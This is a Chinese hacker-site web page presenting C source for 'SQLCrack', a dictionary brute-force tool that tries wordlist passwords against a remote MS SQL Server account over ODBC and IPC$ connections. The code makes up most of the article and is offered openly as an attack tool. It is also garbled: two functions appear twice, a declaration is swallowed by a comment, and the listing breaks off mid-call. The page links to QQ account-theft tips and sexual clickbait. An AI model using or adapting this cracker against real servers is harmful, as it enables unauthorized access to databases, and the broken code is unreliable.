设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 黑客技术 -> 黑客技术 -> 文章内容 [站内搜索]  

 
看看黑客如何破解MS SQL SERCVER密码
作者:佚名  来源:本站整理  发布时间:2007-2-11 11:32:48  发布人:www.hack86.com


这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。 


  //程序所用到的头文件
  //定义全局变量
  char dict[20000][40],//准备探测的密码
  UserName[40],//用户名
  target[40],//目标服务器
  passwd[40];//已经探测出来的正确密码
  int total=0;//字典里面单词数量
  BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
  //
  //函数:usage
  //功能:显示程序帮助信息
  //
  void usage()
  {
  printf("\nPower by analyzer〈
[email]inmiao@163.com[/email]
〉"
  "\nhttp://www.infocn.com"
  "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
  "\nExample:SQLCrack 192.168.0.1 sa c:\pwd.dic 50\n");return; 
  }
  //
  //函数:ReadDic
  //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码
  //说明:函数运行失败返回值1,成功返回0
  //
  int ReadDic(char *dic)
  {
  FILE *fp;
  char tmp[40];
  //打开字典文件
  if((fp=fopen(dic,"r"))==NULL)
  {
  printf("\nCan’t open %s",dic);
  return 1;
  }
  while(!feof(fp))
  {
  //读取数据到临时变量
  if(fgets(tmp,40,fp)==NULL)
  break;
  //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了
  strncpy(dict[total],tmp,strlen(tmp)-1);
  total++; 
//因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环
  //不然就会溢出啦.可以自行调准
  if(total〉=20000)
  break;
  }
  fclose(fp);
  return 0;
  }
  //
  //函数:ConnIPC
  //功能:建立IPC连接
  //说明:连接失败返回值1,成功返回值0
  //
  int ConnIPC(char *RemoteName)
  {
  NETRESOURCE nr;
  DWORD flags=CONNECT_UPDATE_PROFILE;
  TCHAR RN[30]="",
  LN[5]="";
  strcat(RN,RemoteName);
  strcat(RN,"\ipc$");
  //填充数据结构
  nr.dwType=RESOURCETYPE_DISK;
  nr.lpLocalName=(LPTSTR)&LN;
  nr.lpRemoteName=(LPTSTR)&RN;
  nr.lpProvider=NULL;
  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
  {
 return 0; 
  }
  else
  {
  return 1;
  }
  }
  //
  //函数:DelIPC
  //功能:断开IPC Session
  //说明:成功返回值0,否则返回1
  //
  int DelIPC(char *RemoteName)
  {
  DWORD ret;
  TCHAR lpName[30]="";
  strcat(lpName,RemoteName);
  strcat(lpName,"\ipc$");
  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
  if(ret==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  //
  //函数SQLCheck
  //功能:尝试用不同密码连接SQL Server,探测出正确的密码
  //
  DWORD WINAPI SQLCheck(PVOID pPwd)
  {
  //定义局部变量
  char szBuffer[1025];
  char *pwd;
  SWORD swStrLen;
  SQLHDBC hdbc;
  SQLHANDLE henv;
  SQLRETURN retcode;//ODBC API运行返回值SCHAR ConnStr[200];//连接数据库字符串 
  //取得传递过来准备探测的密码
  pwd=(char *)pPwd;
  //构造连接数据库字符
  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
  strcat(ConnStr,target);
  strcat(ConnStr,";UID=");
  strcat(ConnStr,UserName);
  strcat(ConnStr,";PWD=");
  strcat(ConnStr,pwd);
  strcat(ConnStr,";DATABASE=master");
  //puts(ConnStr);
  //创建数据库应用的环境句柄
  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
  {
  printf("\nAllocate environment handle failed.\n");
  return 0;
  }
  //printf("henv..");
  //设置ODBC版本环境
  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  {
  printf("\nSet the ODBC version environment attribute failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("ODBC ver..");
  //创建连接句柄
  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  *)&hdbc)) != SQL_SUCCESS)
  {
  printf("\nAllocate connection handle failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("hdbc..");
  //连接数据源
  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),szBuffer,sizeof
(szBuffer),&swStrLen, 
  SQL_DRIVER_COMPLETE_REQUIRED);
  //printf("conn..");
  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
  {
  //连接失败,函数终止
  //printf("\nCouldn’t connect to %s MSSQL server.\n",target);
  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //连接远程MSSQL Server数据库成功
  Cracked=TRUE;
  strcpy(passwd,pwd);
  //puts(szBuffer);
  //显示连接远程数据库的字符串
  //断开连接
  SQLDisconnect(hdbc);
  //printf("disconn..");
  //释放连接句柄
  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
  //printf("free hdbc..");
  //释放环境句柄
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  //printf("free henv..\n");
  return 0;
  }
  //
  //函数:DelIPC
  //功能:断开IPC Session
  //说明:成功返回值0,否则返回1
  //
  int DelIPC(char *RemoteName)
  {
  DWORD ret;
  TCHAR lpName[30]="";
  strcat(lpName,RemoteName);
  strcat(lpName,"\ipc$");ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,
TRUE); 
  if(ret==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  //
  //函数SQLCheck
  //功能:尝试用不同密码连接SQL Server,探测出正确的密码
  //
  DWORD WINAPI SQLCheck(PVOID pPwd)
  {
  //定义局部变量
  char szBuffer[1025];
  char *pwd;
  SWORD swStrLen;
  SQLHDBC hdbc;
  SQLHANDLE henv;
  SQLRETURN retcode;//ODBC API运行返回值
  SCHAR ConnStr[200];//连接数据库字符串
  //取得传递过来准备探测的密码
  pwd=(char *)pPwd;
  //构造连接数据库字符
  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
  strcat(ConnStr,target);
  strcat(ConnStr,";UID=");
  strcat(ConnStr,UserName);
  strcat(ConnStr,";PWD=");
  strcat(ConnStr,pwd);
  strcat(ConnStr,";DATABASE=master");
  //puts(ConnStr);
  //创建数据库应用的环境句柄
  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS){ 
  printf("\nAllocate environment handle failed.\n");
  return 0;
  }
  //printf("henv..");
  //设置ODBC版本环境
  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  {
  printf("\nSet the ODBC version environment attribute failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("ODBC ver..");
  //创建连接句柄
  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  *)&hdbc)) != SQL_SUCCESS)
  {
  printf("\nAllocate connection handle failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("hdbc..");
  //连接数据源
  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
  szBuffer,sizeof(szBuffer),& 
  
 
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  看看电脑病毒有哪些..
看看黑客如何给你的..
看看黑客怎么给你种..
看看Windows是怎样炼..
看看别人用什么:最..
大家看看如何用asp操..
看看这个美女的大长..
第二节、看看黑客在..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
最新QQ空间4.0全屏版效果图!!
不用木马,轻松万能偷盗QQ号码
中华隐士黑客联盟
黑客快速入门(强烈推荐)
18岁少女欲6000元卖处女身 救患血..
本站超级酷的Flash (不看会后悔的..
QQ密码本地破解的原理和方法
倾情推出QQ空间互踩联盟(免费加入..
 
新免蟆Q秀,刷红钻的方法 02-13
看看黑客如何破解MS SQL SERCVER.. 02-11
性感少妇在宾馆脱衣服偷拍 02-11
极品女秘书下班后走光 02-11
这样的MM和你睡要不要?? 02-11
性感小护士风搔样 02-11
女子用鸽血假扮处女卖淫 02-11
男子多次强奸14岁亲生女儿获刑13.. 02-11
QQ空间大图模板---忘不了的经典街.. 02-11
QQ空间大图模块-孤单的女生 02-11
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com